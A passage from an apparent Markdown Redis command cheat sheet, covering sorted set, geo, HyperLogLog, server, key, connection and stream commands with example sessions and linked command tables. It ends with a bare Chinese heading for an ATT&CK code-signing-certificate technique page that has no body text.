1) "two"
2) "one"
redis> ZREVRANGEBYSCORE myzset 2 (1
1) "two"
redis> ZREVRANGEBYSCORE myzset (2 (1
(empty list or set)
```
Return a range of members in a sorted set, by score, with scores ordered from high to low
### ZREVRANK
``` {.wrap}
ZREVRANK key member
```
#### Example
```shell script
redis> ZADD myzset 1 "one"
(integer) 1
redis> ZADD myzset 2 "two"
(integer) 1
redis> ZADD myzset 3 "three"
(integer) 1
redis> ZREVRANK myzset "one"
(integer) 2
redis> ZREVRANK myzset "four"
(nil)
```
Determine the index of a member in a sorted set, with scores ordered from high to low
### ZUNION
``` {.wrap}
ZUNION numkeys key [key ...] [WEIGHTS weight [weight ...]] [AGGREGATE SUM|MIN|MAX] [WITHSCORES]
```
#### Example
```shell script
redis> ZADD zset1 1 "one"
(integer) 1
redis> ZADD zset1 2 "two"
(integer) 1
redis> ZADD zset2 1 "one"
(integer) 1
redis> ZADD zset2 2 "two"
(integer) 1
redis> ZADD zset2 3 "three"
(integer) 1
redis> ZUNION 2 zset1 zset2
1) "one"
2) "three"
3) "two"
redis> ZUNION 2 zset1 zset2 WITHSCORES
1) "one"
2) "2"
3) "three"
4) "3"
5) "two"
6) "4"
```
Add multiple sorted sets
### ZMSCORE
``` {.wrap}
ZMSCORE key member [member ...]
```
#### Example
```shell script
redis> ZADD myzset 1 "one"
(integer) 1
redis> ZADD myzset 2 "two"
(integer) 1
redis> ZMSCORE myzset "one" "two" "nofield"
1) "1"
2) "2"
3) (nil)
```
Get the score associated with the given members in a sorted set
### ZUNIONSTORE
``` {.wrap}
ZUNIONSTORE destination numkeys key [key ...] [WEIGHTS weight [weight ...]] [AGGREGATE SUM|MIN|MAX]
```
#### Example
```shell script
redis> ZADD zset1 1 "one"
(integer) 1
redis> ZADD zset1 2 "two"
(integer) 1
redis> ZADD zset2 1 "one"
(integer) 1
redis> ZADD zset2 2 "two"
(integer) 1
redis> ZADD zset2 3 "three"
(integer) 1
redis> ZUNIONSTORE out 2 zset1 zset2 WEIGHTS 2 3
(integer) 3
redis> ZRANGE out 0 -1 WITHSCORES
1) "one"
2) "5"
3) "three"
4) "9"
5) "two"
6) "10"
```
Add multiple sorted sets and store the resulting sorted set in a new key
Redis Geo command{.cols-2}
------------
### GEOADD
``` {.wrap}
GEOADD key longitude latitude member [longitude latitude member ...]
```
#### Example
```shell script
redis> GEOADD Sicily 13.361389 38.115556 "Palermo" 15.087269 37.502669 "Catania"
(integer) 2
redis> GEODIST Sicily Palermo Catania
"166274.1516"
redis> GEORADIUS Sicily 15 37 100 km
1) "Catania"
redis> GEORADIUS Sicily 15 37 200 km
1) "Palermo"
2) "Catania"
```
Add one or more geospatial items in the geospatial index represented using a sorted set
### GEOHASH
``` {.wrap}
GEOHASH key member [member ...]
```
#### Example
```shell script
redis> GEOADD Sicily 13.361389 38.115556 "Palermo" 15.087269 37.502669 "Catania"
(integer) 2
redis> GEOHASH Sicily Palermo Catania
1) "sqc8b49rny0"
2) "sqdtr74hyu0"
```
Returns members of a geospatial index as standard geohash strings
### GEOPOS
``` {.wrap}
GEOPOS key member [member ...]
```
#### Example
```shell script
redis> GEOADD Sicily 13.361389 38.115556 "Palermo" 15.087269 37.502669 "Catania"
(integer) 2
redis> GEOPOS Sicily Palermo Catania NonExisting
1) 1) "13.36138933897018433"
2) "38.11555639549629859"
2) 1) "15.08726745843887329"
2) "37.50266842333162032"
3) (nil)
```
Returns longitude and latitude of members of a geospatial index
### GEODIST
``` {.wrap}
GEODIST key member1 member2 [m|km|ft|mi]
```
#### Example
```shell script
redis> GEOADD Sicily 13.361389 38.115556 "Palermo" 15.087269 37.502669 "Catania"
(integer) 2
redis> GEODIST Sicily Palermo Catania
"166274.1516"
redis> GEODIST Sicily Palermo Catania km
"166.2742"
redis> GEODIST Sicily Palermo Catania mi
"103.3182"
redis> GEODIST Sicily Foo Bar
(nil)
```
Returns the distance between two members of a geospatial index
### GEORADIUS
``` {.wrap}
GEORADIUS key longitude latitude radius m|km|ft|mi [WITHCOORD] [WITHDIST] [WITHHASH] [COUNT count] [ASC|DESC] [STORE key] [STOREDIST key]
```
#### Example
```shell script
redis> GEOADD Sicily 13.361389 38.115556 "Palermo" 15.087269 37.502669 "Catania"
(integer) 2
redis> GEORADIUS Sicily 15 37 200 km WITHDIST
1) 1) "Palermo"
2) "190.4424"
2) 1) "Catania"
2) "56.4413"
redis> GEORADIUS Sicily 15 37 200 km WITHCOORD
1) 1) "Palermo"
2) 1) "13.36138933897018433"
2) "38.11555639549629859"
2) 1) "Catania"
2) 1) "15.08726745843887329"
2) "37.50266842333162032"
redis> GEORADIUS Sicily 15 37 200 km WITHDIST WITHCOORD
1) 1) "Palermo"
2) "190.4424"
3) 1) "13.36138933897018433"
2) "38.11555639549629859"
2) 1) "Catania"
2) "56.4413"
3) 1) "15.08726745843887329"
2) "37.50266842333162032"
```
Query a sorted set representing a geospatial index to fetch members matching a given maximum distance from a point
### GEORADIUSBYMEMBER
``` {.wrap}
GEORADIUSBYMEMBER key member radius m|km|ft|mi [WITHCOORD] [WITHDIST] [WITHHASH] [COUNT count] [ASC|DESC] [STORE key] [STOREDIST key]
```
#### Example
```shell script
redis> GEOADD Sicily 13.583333 37.316667 "Agrigento"
(integer) 1
redis> GEOADD Sicily 13.361389 38.115556 "Palermo" 15.087269 37.502669 "Catania"
(integer) 2
redis> GEORADIUSBYMEMBER Sicily Agrigento 100 km
1) "Agrigento"
2) "Palermo"
```
Query a sorted set representing a geospatial index to fetch members matching a given maximum distance from a member
### GEOSEARCH
``` {.wrap}
GEOSEARCH key [FROMMEMBER member] [FROMLONLAT longitude latitude] [BYRADIUS radius m|km|ft|mi] [BYBOX width height m|km|ft|mi] [ASC|DESC] [COUNT count] [WITHCOORD] [WITHDIST] [WITHHASH]
```
#### Example
```shell script
redis> GEOADD Sicily 13.361389 38.115556 "Palermo" 15.087269 37.502669 "Catania"
(integer) 2
redis> GEOADD Sicily 12.758489 38.788135 "edge1" 17.241510 38.788135 "edge2"
(integer) 2
redis> GEOSEARCH Sicily FROMLONLAT 15 37 BYRADIUS 200 km ASC
1) "Catania"
2) "Palermo"
redis> GEOSEARCH Sicily FROMLONLAT 15 37 BYBOX 400 400 km ASC
1) "Catania"
2) "Palermo"
3) "edge2"
4) "edge1"
```
Query a sorted set representing a geospatial index to fetch members inside an area of a box or a circle.
### Misc
| - | - |
|-------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------|
| [GEOSEARCHSTORE ](https://redis.io/commands/geosearchstore) | Query a sorted set representing a geospatial index to fetch members inside an area of a box or a circle, and store the result in another key. |
Redis Hyperloglog command{.cols-3}
------------
### PFADD
``` {.wrap}
PFADD key element [element ...]
```
#### Example
```shell script
redis> PFADD hll a b c d e f g
(integer) 1
redis> PFCOUNT hll
(integer) 7
```
Adds the specified elements to the specified HyperLogLog.
### PFCOUNT
``` {.wrap}
PFCOUNT key [key ...]
```
#### Example
```shell script
redis> PFADD hll foo bar zap
(integer) 1
redis> PFADD hll zap zap zap
(integer) 0
redis> PFADD hll foo bar
(integer) 0
redis> PFCOUNT hll
(integer) 3
redis> PFADD some-other-hll 1 2 3
(integer) 1
redis> PFCOUNT hll some-other-hll
(integer) 6
```
Return the approximated cardinality of the set(s) observed by the HyperLogLog at key(s).
### PFMERGE
``` {.wrap}
PFMERGE destkey sourcekey [sourcekey ...]
```
#### Example
```shell script
redis> PFADD hll1 foo bar zap a
(integer) 1
redis> PFADD hll2 a b c foo
(integer) 1
redis> PFMERGE hll3 hll1 hll2
"OK"
redis> PFCOUNT hll3
(integer) 6
```
Merge N different HyperLogLogs into a single one.
Redis Server command{.cols-3}
------------
### COMMAND
``` {.wrap}
COMMAND
```
#### Example
```shell script
redis> COMMAND
1) 1) "georadius_ro"
2) (integer) -6
3) 1) "readonly"
2) "movablekeys"
4) (integer) 1
5) (integer) 1
6) (integer) 1
7) 1) "@read"
2) "@geo"
3) "@slow"
2) 1) "zpopmin"
2) (integer) -2
3) 1) "write"
2) "fast"
........
```
Get array of Redis command details
### Misc {.col-span-2 .row-span-4}
| - | - |
|----------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------|
| [ACL LOAD](https://redis.io/commands/acl-load) | Reload the ACLs from the configured ACL file |
| [ACL SAVE](https://redis.io/commands/acl-save) | Save the current ACL rules in the configured ACL file |
| [ACL LIST](https://redis.io/commands/acl-list) | List the current ACL rules in ACL config file format |
| [ACL USERS](https://redis.io/commands/acl-users) | List the username of all the configured ACL rules |
| [ACL GETUSER ](https://redis.io/commands/acl-getuser) | Get the rules for a specific ACL user |
| [ACL SETUSER ](https://redis.io/commands/acl-setuser) | Modify or create the rules for a specific ACL user |
| [ACL DELUSER ](https://redis.io/commands/acl-deluser) | Remove the specified ACL users and the associated rules |
| [ACL CAT ](https://redis.io/commands/acl-cat) | List the ACL categories or the commands inside a category |
| [ACL GENPASS ](https://redis.io/commands/acl-genpass) | Generate a pseudorandom secure password to use for ACL users |
| [ACL WHOAMI](https://redis.io/commands/acl-whoami) | Return the name of the user associated to the current connection |
| [ACL LOG ](https://redis.io/commands/acl-log) | List latest events denied because of ACLs in place |
| [ACL HELP](https://redis.io/commands/acl-help) | Show helpful text about the different subcommands |
| [BGREWRITEAOF](https://redis.io/commands/bgrewriteaof) | Asynchronously rewrite the append-only file |
| [BGSAVE ](https://redis.io/commands/bgsave) | Asynchronously save the dataset to disk |
| [CONFIG GET ](https://redis.io/commands/config-get) | Get the value of a configuration parameter |
| [CONFIG REWRITE](https://redis.io/commands/config-rewrite) | Rewrite the configuration file with the in memory configuration |
| [CONFIG SET ](https://redis.io/commands/config-set) | Set a configuration parameter to the given value |
| [CONFIG RESETSTAT](https://redis.io/commands/config-resetstat) | Reset the stats returned by INFO |
| [DBSIZE](https://redis.io/commands/dbsize) | Return the number of keys in the selected database |
| [DEBUG OBJECT ](https://redis.io/commands/debug-object) | Get debugging information about a key |
| [DEBUG SEGFAULT](https://redis.io/commands/debug-segfault) | Make the server crash |
| [FLUSHALL ](https://redis.io/commands/flushall) | Remove all keys from all databases |
| [FLUSHDB ](https://redis.io/commands/flushdb) | Remove all keys from the current database |
| [LOLWUT ](https://redis.io/commands/lolwut) | Display some computer art and the Redis version |
| [LASTSAVE](https://redis.io/commands/lastsave) | Get the UNIX time stamp of the last successful save to disk |
| [MEMORY DOCTOR](https://redis.io/commands/memory-doctor) | Outputs memory problems report |
| [MEMORY HELP](https://redis.io/commands/memory-help) | Show helpful text about the different subcommands |
| [MEMORY MALLOC-STATS](https://redis.io/commands/memory-malloc-stats) | Show allocator internal stats |
| [MEMORY PURGE](https://redis.io/commands/memory-purge) | Ask the allocator to release memory |
| [MEMORY STATS](https://redis.io/commands/memory-stats) | Show memory usage details |
| [MEMORY USAGE ](https://redis.io/commands/memory-usage) | Estimate the memory usage of a key |
| [MODULE LIST](https://redis.io/commands/module-list) | List all modules loaded by the server |
| [MODULE LOAD ](https://redis.io/commands/module-load) | Load a module |
| [MODULE UNLOAD ](https://redis.io/commands/module-unload) | Unload a module |
| [MONITOR](https://redis.io/commands/monitor) | Listen for all requests received by the server in real time |
| [SAVE](https://redis.io/commands/save) | Synchronously save the dataset to disk |
| [SHUTDOWN ](https://redis.io/commands/shutdown) | Synchronously save the dataset to disk and then shut down the server |
| [SLAVEOF ](https://redis.io/commands/slaveof) | Make the server a replica of another instance, or promote it as master. Deprecated starting with Redis 5. Use REPLICAOF instead. |
| [REPLICAOF ](https://redis.io/commands/replicaof) | Make the server a replica of another instance, or promote it as master. |
| [SLOWLOG ](https://redis.io/commands/slowlog) | Manages the Redis slow queries log |
| [SWAPDB ](https://redis.io/commands/swapdb) | Swaps two Redis databases |
| [SYNC](https://redis.io/commands/sync) | Internal command used for replication |
| [PSYNC ](https://redis.io/commands/psync) | Internal command used for replication |
| [LATENCY DOCTOR](https://redis.io/commands/latency-doctor) | Return a human readable latency analysis report. |
| [LATENCY GRAPH ](https://redis.io/commands/latency-graph) | Return a latency graph for the event. |
| [LATENCY HISTORY ](https://redis.io/commands/latency-history) | Return timestamp-latency samples for the event. |
| [LATENCY LATEST](https://redis.io/commands/latency-latest) | Return the latest latency samples for all events. |
| [LATENCY RESET ](https://redis.io/commands/latency-reset) | Reset latency data for one or more events. |
| [LATENCY HELP](https://redis.io/commands/latency-help) | Show helpful text about the different subcommands. |
### COMMAND COUNT
``` {.wrap}
COMMAND COUNT
```
#### Example
```shell script
redis> COMMAND COUNT
(integer) 217
```
Get total number of Redis commands
### COMMAND GETKEYS
``` {.wrap}
COMMAND GETKEYS
```
#### Example
```shell script
redis> COMMAND GETKEYS MSET a b c d e f
1) "a"
2) "c"
3) "e"
redis> COMMAND GETKEYS EVAL "not consulted" 3 key1 key2 key3 arg1 arg2 arg3 argN
1) "key1"
2) "key2"
3) "key3"
redis> COMMAND GETKEYS SORT mylist ALPHA STORE outlist
1) "mylist"
2) "outlist"
```
Extract keys given a full Redis command
### COMMAND INFO
``` {.wrap}
COMMAND INFO command-name [command-name ...]
```
#### Example
```shell script
redis> COMMAND INFO get set eval
1) 1) "get"
2) (integer) 2
3) 1) "readonly"
2) "fast"
4) (integer) 1
5) (integer) 1
6) (integer) 1
7) 1) "@read"
2) "@string"
3) "@fast"
2) 1) "set"
2) (integer) -3
3) 1) "write"
2) "denyoom"
4) (integer) 1
5) (integer) 1
6) (integer) 1
7) 1) "@write"
2) "@string"
3) "@slow"
3) 1) "eval"
2) (integer) -3
3) 1) "noscript"
2) "movablekeys"
4) (integer) 0
5) (integer) 0
6) (integer) 0
7) 1) "@slow"
2) "@scripting"
```
Get array of specific Redis command details
### INFO
``` {.wrap}
INFO [section]
```
#### Example
```shell script
redis> INFO
# Server
redis_version:6.1.240
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:a26db646ea64a07c
redis_mode:standalone
os:Linux 5.4.0-1017-aws x86_64
......
```
Get information and statistics about the server
### ROLE
``` {.wrap}
ROLE
```
#### Example
```shell script
redis> ROLE
1) "master"
2) (integer) 0
3) (empty list or set)
```
Return the role of the instance in the context of replication
### TIME
``` {.wrap}
TIME
```
#### Example
```shell script
redis> TIME
1) "1609040690"
2) "558952"
redis> TIME
1) "1609040690"
2) "559206"
```
Return the current server time
Redis Generic command{.cols-3}
------------
### Misc
| - | - |
|-----------------------------------------------|--------------------------------------------------------------------------------------------------------------|
| [COPY ](https://redis.io/commands/copy) | Copy a key |
| [MIGRATE ](https://redis.io/commands/migrate) | Atomically transfer a key from a Redis instance to another one. |
| [MOVE ](https://redis.io/commands/move) | Move a key to another database |
| [OBJECT ](https://redis.io/commands/object) | Inspect the internals of Redis objects |
| [RESTORE ](https://redis.io/commands/restore) | Create a key using the provided serialized value, previously obtained using DUMP. |
| [SORT ](https://redis.io/commands/sort) | Sort the elements in a list, set or sorted set |
| [WAIT ](https://redis.io/commands/wait) | Wait for the synchronous replication of all the write commands sent in the context of the current connection |
| [SCAN ](https://redis.io/commands/scan) | Incrementally iterate the keys space |
### DEL
``` {.wrap}
DEL key [key ...]
```
#### Example
```shell script
redis> SET key1 "Hello"
"OK"
redis> SET key2 "World"
"OK"
redis> DEL key1 key2 key3
(integer) 2
```
Delete a key
### DUMP
``` {.wrap}
DUMP key
```
#### Example
```shell script
redis> SET mykey 10
"OK"
redis> DUMP mykey
"\u0000\xC0\n\t\u0000\xBEm\u0006\x89Z(\u0000\n"
```
Return a serialized version of the value stored at the specified key.
### EXISTS
``` {.wrap}
EXISTS key [key ...]
```
#### Example
```shell script
redis> SET key1 "Hello"
"OK"
redis> EXISTS key1
(integer) 1
redis> EXISTS nosuchkey
(integer) 0
redis> SET key2 "World"
"OK"
redis> EXISTS key1 key2 nosuchkey
(integer) 2
```
Determine if a key exists
### EXPIRE
``` {.wrap}
EXPIRE key seconds
```
#### Example
```shell script
redis> SET mykey "Hello"
"OK"
redis> EXPIRE mykey 10
(integer) 1
redis> TTL mykey
(integer) 10
redis> SET mykey "Hello World"
"OK"
redis> TTL mykey
(integer) -1
```
Set a key's time to live in seconds
### EXPIREAT
``` {.wrap}
EXPIREAT key timestamp
```
#### Example
```shell script
redis> SET mykey "Hello"
"OK"
redis> EXISTS mykey
(integer) 1
redis> EXPIREAT mykey 1293840000
(integer) 1
redis> EXISTS mykey
(integer) 0
```
Set the expiration for a key as a UNIX timestamp
### KEYS
``` {.wrap}
KEYS pattern
```
#### Example
```shell script
redis> MSET firstname Jack lastname Stuntman age 35
"OK"
redis> KEYS *name*
1) "firstname"
2) "lastname"
redis> KEYS a??
1) "age"
redis> KEYS *
1) "firstname"
2) "age"
3) "lastname"
```
Find all keys matching the given pattern
### PERSIST
``` {.wrap}
PERSIST key
```
#### Example
```shell script
redis> SET mykey "Hello"
"OK"
redis> EXPIRE mykey 10
(integer) 1
redis> TTL mykey
(integer) 10
redis> PERSIST mykey
(integer) 1
redis> TTL mykey
(integer) -1
```
Remove the expiration from a key
### PEXPIRE
``` {.wrap}
PEXPIRE key milliseconds
```
#### Example
```shell script
redis> SET mykey "Hello"
"OK"
redis> PEXPIRE mykey 1500
(integer) 1
redis> TTL mykey
(integer) 1
redis> PTTL mykey
(integer) 1499
```
Set a key's time to live in milliseconds
### PEXPIREAT
``` {.wrap}
PEXPIREAT key milliseconds-timestamp
```
#### Example
```shell script
redis> SET mykey "Hello"
"OK"
redis> PEXPIREAT mykey 1555555555005
(integer) 1
redis> TTL mykey
(integer) -2
redis> PTTL mykey
(integer) -2
```
Set the expiration for a key as a UNIX timestamp specified in milliseconds
### PTTL
``` {.wrap}
PTTL key
```
#### Example
```shell script
redis> SET mykey "Hello"
"OK"
redis> EXPIRE mykey 1
(integer) 1
redis> PTTL mykey
(integer) 1000
```
Get the time to live for a key in milliseconds
### RENAME
``` {.wrap}
RENAME key newkey
```
#### Example
```shell script
redis> SET mykey "Hello"
"OK"
redis> RENAME mykey myotherkey
"OK"
redis> GET myotherkey
"Hello"
```
Rename a key
### RENAMENX
``` {.wrap}
RENAMENX key newkey
```
#### Example
```shell script
redis> SET mykey "Hello"
"OK"
redis> SET myotherkey "World"
"OK"
redis> RENAMENX mykey myotherkey
(integer) 0
redis> GET myotherkey
"World"
```
Rename a key, only if the new key does not exist
### TOUCH
``` {.wrap}
TOUCH key [key ...]
```
#### Example
```shell script
redis> SET key1 "Hello"
"OK"
redis> SET key2 "World"
"OK"
redis> TOUCH key1 key2
(integer) 2
```
Alters the last access time of a key(s). Returns the number of existing keys specified.
### TTL
``` {.wrap}
TTL key
```
#### Example
```shell script
redis> SET mykey "Hello"
"OK"
redis> EXPIRE mykey 10
(integer) 1
redis> TTL mykey
(integer) 10
```
Get the time to live for a key
### TYPE
``` {.wrap}
TYPE key
```
#### Example
```shell script
redis> SET key1 "value"
"OK"
redis> LPUSH key2 "value"
(integer) 1
redis> SADD key3 "value"
(integer) 1
redis> TYPE key1
"string"
redis> TYPE key2
"list"
redis> TYPE key3
"set"
```
Determine the type stored at key
### UNLINK
``` {.wrap}
UNLINK key [key ...]
```
#### Example
```shell script
redis> SET key1 "Hello"
"OK"
redis> SET key2 "World"
"OK"
redis> UNLINK key1 key2 key3
(integer) 2
```
Delete a key asynchronously in another thread. Otherwise it is just as DEL, but non blocking.
Redis Connection command{.cols-3}
------------
### Misc
| - | - |
|---------------------------------------------------------------|----------------------------------------------------------------------------|
| [AUTH ](https://redis.io/commands/auth) | Authenticate to the server |
| [CLIENT CACHING ](https://redis.io/commands/client-caching) | Instruct the server about tracking or not keys in the next request |
| [CLIENT KILL ](https://redis.io/commands/client-kill) | Kill the connection of a client |
| [CLIENT LIST ](https://redis.io/commands/client-list) | Get the list of client connections |
| [CLIENT GETNAME](https://redis.io/commands/client-getname) | Get the current connection name |
| [CLIENT GETREDIR](https://redis.io/commands/client-getredir) | Get tracking notifications redirection client ID if any |
| [CLIENT PAUSE ](https://redis.io/commands/client-pause) | Stop processing commands from clients for some time |
| [CLIENT REPLY ](https://redis.io/commands/client-reply) | Instruct the server whether to reply to commands |
| [CLIENT SETNAME ](https://redis.io/commands/client-setname) | Set the current connection name |
| [CLIENT TRACKING ](https://redis.io/commands/client-tracking) | Enable or disable server assisted client side caching support |
| [CLIENT UNBLOCK ](https://redis.io/commands/client-unblock) | Unblock a client blocked in a blocking command from a different connection |
| [HELLO ](https://redis.io/commands/hello) | switch Redis protocol |
| [QUIT](https://redis.io/commands/quit) | Close the connection |
| [RESET](https://redis.io/commands/reset) | Reset the connection |
| [SELECT ](https://redis.io/commands/select) | Change the selected database for the current connection |
### CLIENT ID
``` {.wrap}
CLIENT ID
```
#### Example
```shell script
redis> CLIENT ID
ERR Unknown or disabled command 'CLIENT'
```
Returns the client ID for the current connection
### CLIENT INFO
``` {.wrap}
CLIENT INFO
```
#### Example
```shell script
redis> CLIENT INFO
"id=55542 addr=127.0.0.1:58710 laddr=127.0.0.1:6379 fd=8 name= age=114920 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=26 qbuf-free=40928 argv-mem=10 obl=0 oll=0 omem=0 tot-mem=61466 events=r cmd=client user=default redir=-1\n"
```
Returns information about the current client connection.
### ECHO
``` {.wrap}
ECHO message
```
#### Example
```shell script
redis> ECHO "Hello World!"
"Hello World!"
```
Echo the given string
### PING
``` {.wrap}
PING [message]
```
#### Example
```shell script
redis> PING
"PONG"
redis> PING "hello world"
"hello world"
```
Ping the server
Redis Stream command{.cols-2}
------------
### Misc
| - | - |
|-----------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| [XINFO ](https://redis.io/commands/xinfo) | Get information on streams and consumer groups |
| [XDEL ](https://redis.io/commands/xdel) | Removes the specified entries from the stream. Returns the number of items actually deleted, that may be different from the number of IDs passed in case certain IDs do not exist. |
| [XREAD ](https://redis.io/commands/xread) | Return never seen elements in multiple streams, with IDs greater than the ones reported by the caller for each stream. Can block. |
| [XGROUP ](https://redis.io/commands/xgroup) | Create, destroy, and manage consumer groups. |
| [XREADGROUP ](https://redis.io/commands/xreadgroup) | Return new entries from a stream using a consumer group, or access the history of the pending entries for a given consumer. Can block. |
| [XCLAIM ](https://redis.io/commands/xclaim) | Changes (or acquires) ownership of a message in a consumer group, as if the message was delivered to the specified consumer. |
| [XPENDING ](https://redis.io/commands/xpending) | Return information and entries from a stream consumer group pending entries list, that are messages fetched but never acknowledged. |
### XADD
``` {.wrap}
XADD key [MAXLEN [=|~] length] [NOMKSTREAM] *|ID field value [field value ...]
```
#### Example
```shell script
redis> XADD mystream * name Sara surname OConnor
"1609040574632-0"
redis> XADD mystream * field1 value1 field2 value2 field3 value3
"1609040574632-1"
redis> XLEN mystream
(integer) 2
redis> XRANGE mystream - +
1) 1) "1609040574632-0"
2) 1) "name"
2) "Sara"
3) "surname"
4) "OConnor"
2) 1) "1609040574632-1"
2) 1) "field1"
2) "value1"
3) "field2"
4) "value2"
5) "field3"
6) "value3"
```
Appends a new entry to a stream
### XTRIM
``` {.wrap}
XTRIM key MAXLEN [=|~] length
```
#### Example
```shell script
redis> XADD mystream * field1 A field2 B field3 C field4 D
"1609040575750-0"
redis> XTRIM mystream MAXLEN 2
(integer) 0
redis> XRANGE mystream - +
1) 1) "1609040575750-0"
2) 1) "field1"
2) "A"
3) "field2"
4) "B"
5) "field3"
6) "C"
7) "field4"
8) "D"
```
Trims the stream to (approximately if '~' is passed) a certain size
### XRANGE
``` {.wrap}
XRANGE key start end [COUNT count]
```
#### Example
```shell script
redis> XADD writers * name Virginia surname Woolf
"1609040578002-0"
redis> XADD writers * name Jane surname Austen
"1609040578002-1"
redis> XADD writers * name Toni surname Morrison
"1609040578003-0"
redis> XADD writers * name Agatha surname Christie
"1609040578003-1"
redis> XADD writers * name Ngozi surname Adichie
"1609040578003-2"
redis> XLEN writers
(integer) 5
redis> XRANGE writers - + COUNT 2
1) 1) "1609040578002-0"
2) 1) "name"
2) "Virginia"
3) "surname"
4) "Woolf"
2) 1) "1609040578002-1"
2) 1) "name"
2) "Jane"
3) "surname"
4) "Austen"
```
Return a range of elements in a stream, with IDs matching the specified IDs interval
### XREVRANGE
``` {.wrap}
XREVRANGE key end start [COUNT count]
```
#### Example
```shell script
redis> XADD writers * name Virginia surname Woolf
"1609040579130-0"
redis> XADD writers * name Jane surname Austen
"1609040579130-1"
redis> XADD writers * name Toni surname Morrison
"1609040579130-2"
redis> XADD writers * name Agatha surname Christie
"1609040579131-0"
redis> XADD writers * name Ngozi surname Adichie
"1609040579131-1"
redis> XLEN writers
(integer) 5
redis> XREVRANGE writers + - COUNT 1
1) 1) "1609040579131-1"
2) 1) "name"
2) "Ngozi"
3) "surname"
4) "Adichie"
```
Return a range of elements in a stream, with IDs matching the specified IDs interval, in reverse order (from greater to smaller IDs) compared to XRANGE
### XLEN
``` {.wrap}
XLEN key
```
#### Example
```shell script
redis> XADD mystream * item 1
"1609040580250-0"
redis> XADD mystream * item 2
"1609040580250-1"
redis> XADD mystream * item 3
"1609040580251-0"
redis> XLEN mystream
(integer) 3
```
Return the number of entries in a stream
### XACK
``` {.wrap}
XACK key group ID [ID ...]
```
#### Example
```shell script
redis> XACK mystream mygroup 1526569495631-0
ERR Unknown or disabled command 'XACK'
```
Marks a pending message as correctly processed, effectively removing it from the pending entries list of the consumer group. Return value of the command is the number of messages successfully acknowledged, that is, the IDs we were actually able to resolve in the PEL.
Miscellaneous {.cols-2}
------------
### Cluster
| - | - |
|-------------------------------------------------------------------------------------------|------------------------------------------------------------------|
| [CLUSTER ADDSLOTS ](https://redis.io/commands/cluster-addslots) | Assign new hash slots to receiving node |
| [CLUSTER BUMPEPOCH](https://redis.io/commands/cluster-bumpepoch) | Advance the cluster config epoch |
| [CLUSTER COUNT-FAILURE-REPORTS ](https://redis.io/commands/cluster-count-failure-reports) | Return the number of failure reports active for a given node |
| [CLUSTER COUNTKEYSINSLOT ](https://redis.io/commands/cluster-countkeysinslot) | Return the number of local keys in the specified hash slot |
| [CLUSTER DELSLOTS ](https://redis.io/commands/cluster-delslots) | Set hash slots as unbound in receiving node |
| [CLUSTER FAILOVER ](https://redis.io/commands/cluster-failover) | Forces a replica to perform a manual failover of its master. |
| [CLUSTER FLUSHSLOTS](https://redis.io/commands/cluster-flushslots) | Delete a node's own slots information |
| [CLUSTER FORGET ](https://redis.io/commands/cluster-forget) | Remove a node from the nodes table |
| [CLUSTER GETKEYSINSLOT ](https://redis.io/commands/cluster-getkeysinslot) | Return local key names in the specified hash slot |
| [CLUSTER INFO](https://redis.io/commands/cluster-info) | Provides info about Redis Cluster node state |
| [CLUSTER KEYSLOT ](https://redis.io/commands/cluster-keyslot) | Returns the hash slot of the specified key |
| [CLUSTER MEET ](https://redis.io/commands/cluster-meet) | Force a node cluster to handshake with another node |
| [CLUSTER MYID](https://redis.io/commands/cluster-myid) | Return the node id |
| [CLUSTER NODES](https://redis.io/commands/cluster-nodes) | Get Cluster config for the node |
| [CLUSTER REPLICATE ](https://redis.io/commands/cluster-replicate) | Reconfigure a node as a replica of the specified master node |
| [CLUSTER RESET ](https://redis.io/commands/cluster-reset) | Reset a Redis Cluster node |
| [CLUSTER SAVECONFIG](https://redis.io/commands/cluster-saveconfig) | Forces the node to save cluster state on disk |
| [CLUSTER SET-CONFIG-EPOCH ](https://redis.io/commands/cluster-set-config-epoch) | Set the configuration epoch in a new node |
| [CLUSTER SETSLOT ](https://redis.io/commands/cluster-setslot) | Bind a hash slot to a specific node |
| [CLUSTER SLAVES ](https://redis.io/commands/cluster-slaves) | List replica nodes of the specified master node |
| [CLUSTER REPLICAS ](https://redis.io/commands/cluster-replicas) | List replica nodes of the specified master node |
| [CLUSTER SLOTS](https://redis.io/commands/cluster-slots) | Get array of Cluster slot to node mappings |
| [READONLY](https://redis.io/commands/readonly) | Enables read queries for a connection to a cluster replica node |
| [READWRITE](https://redis.io/commands/readwrite) | Disables read queries for a connection to a cluster replica node |
### Transactions
| - | - |
|----------------------------------------------|---------------------------------------------------------------------|
| [DISCARD](https://redis.io/commands/discard) | Discard all commands issued after MULTI |
| [EXEC](https://redis.io/commands/exec) | Execute all commands issued after MULTI |
| [MULTI](https://redis.io/commands/multi) | Mark the start of a transaction block |
| [UNWATCH](https://redis.io/commands/unwatch) | Forget about all watched keys |
| [WATCH ](https://redis.io/commands/watch) | Watch the given keys to determine execution of the MULTI/EXEC block |
### Scripting
| - | - |
|-----------------------------------------------------------|------------------------------------------------------|
| [EVAL ](https://redis.io/commands/eval) | Execute a Lua script server side |
| [EVALSHA ](https://redis.io/commands/evalsha) | Execute a Lua script server side |
| [SCRIPT DEBUG ](https://redis.io/commands/script-debug) | Set the debug mode for executed scripts. |
| [SCRIPT EXISTS ](https://redis.io/commands/script-exists) | Check existence of scripts in the script cache. |
| [SCRIPT FLUSH](https://redis.io/commands/script-flush) | Remove all the scripts from the script cache. |
| [SCRIPT KILL](https://redis.io/commands/script-kill) | Kill the script currently in execution. |
| [SCRIPT LOAD ](https://redis.io/commands/script-load) | Load the specified Lua script into the script cache. |
### Pubsub
| - | - |
|---------------------------------------------------------|----------------------------------------------------------------------------|
| [PSUBSCRIBE ](https://redis.io/commands/psubscribe) | Listen for messages published to channels matching the given patterns |
| [PUBSUB ](https://redis.io/commands/pubsub) | Inspect the state of the Pub/Sub subsystem |
| [PUBLISH ](https://redis.io/commands/publish) | Post a message to a channel |
| [PUNSUBSCRIBE ](https://redis.io/commands/punsubscribe) | Stop listening for messages posted to channels matching the given patterns |
| [SUBSCRIBE ](https://redis.io/commands/subscribe) | Listen for messages published to the given channels |
| [UNSUBSCRIBE ](https://redis.io/commands/unsubscribe) | Stop listening for messages posted to the given channels |
|
sec-knowleage
|
# T1587-002-开发能力-代码签名证书
## 来自ATT&CK的描述
